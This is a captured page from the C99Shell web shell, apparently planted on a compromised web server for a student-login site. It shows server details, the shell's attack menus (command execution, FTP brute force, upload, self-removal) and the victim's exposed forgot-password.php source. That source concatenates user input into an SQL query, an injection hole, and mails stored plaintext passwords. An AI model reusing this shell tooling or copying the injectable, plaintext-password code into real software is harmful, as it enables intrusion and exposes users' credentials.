!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/studentlogin/   drwxr-xr-x
Free 30.76 GB of 49.93 GB (61.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     forgot-password.php (2.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php session_start();
include 
"connect.php"//connects to the database
if (isset($_POST['username'])){
    
$username $_POST['username'];
    
$query="select * from user where username='$username'";
    
$result   mysql_query($query);
    
$count=mysql_num_rows($result);
    
// If the count is equal to one, we will send message other wise display an error message.
    
if($count==1)
    {
        
$rows=mysql_fetch_array($result);
        
$pass  =  $rows['password'];//FETCHING PASS
        //echo "your pass is ::".($pass)."";
        
$to $rows['email'];
        
//echo "your email is ::".$email;
        //Details for sending E-mail
        
$from "Coding Cyber";
        
$url "http://www.codingcyber.com/";
        
$body  =  "Coding Cyber password recovery Script
        -----------------------------------------------
        Url : 
$url;
        email Details is : 
$to;
        Here is your password  : 
$pass;
        Sincerely,
        Coding Cyber"
;
        
$from "codingcyber@gmail.com";
        
$subject "CodingCyber Password recovered";
        
$headers1 "From: $from\n";
        
$headers1 .= "Content-type: text/html;charset=iso-8859-1\r\n";
        
$headers1 .= "X-Priority: 1\r\n";
        
$headers1 .= "X-MSMail-Priority: High\r\n";
        
$headers1 .= "X-Mailer: Just My Server\r\n";
        
$sentmail mail $to$subject$body$headers1 );
    } else {
    if (
$_POST ['email'] != "") {
    echo 
"<span style='color: #ff0000;'> Not found your email in our database</span>";
        }
        }
    
//If the message is sent successfully, display sucess message otherwise display an error message.
    
if($sentmail==1)
    {
        echo 
"<span style='color: #ff0000;'> Your Password Has Been Sent To Your Email Address.</span>";
    }
        else
        {
        if(
$_POST['email']!="")
        echo 
"<span style='color: #ff0000;'> Cannot send password to your e-mail address.Problem with sending mail...</span>";
    }
}
?>
 <!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="style.css" />
<title>CodingCyber - Simple Script to send Forgotten password</title>
</head>
<body>


<div class="register-form">
<?php
    
if(isset($msg) & !empty($msg)){
        echo 
$msg;
    }
 
?>
<h1>Forgot Password</h1>
<form action="" method="POST">
    <p><label>User Name : </label>
    <input id="username" type="text" name="username" placeholder="username" /></p>
 
    <input class="btn register" type="submit" name="submit" value="Submit" />
    </form>
</div>

</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0019 ]--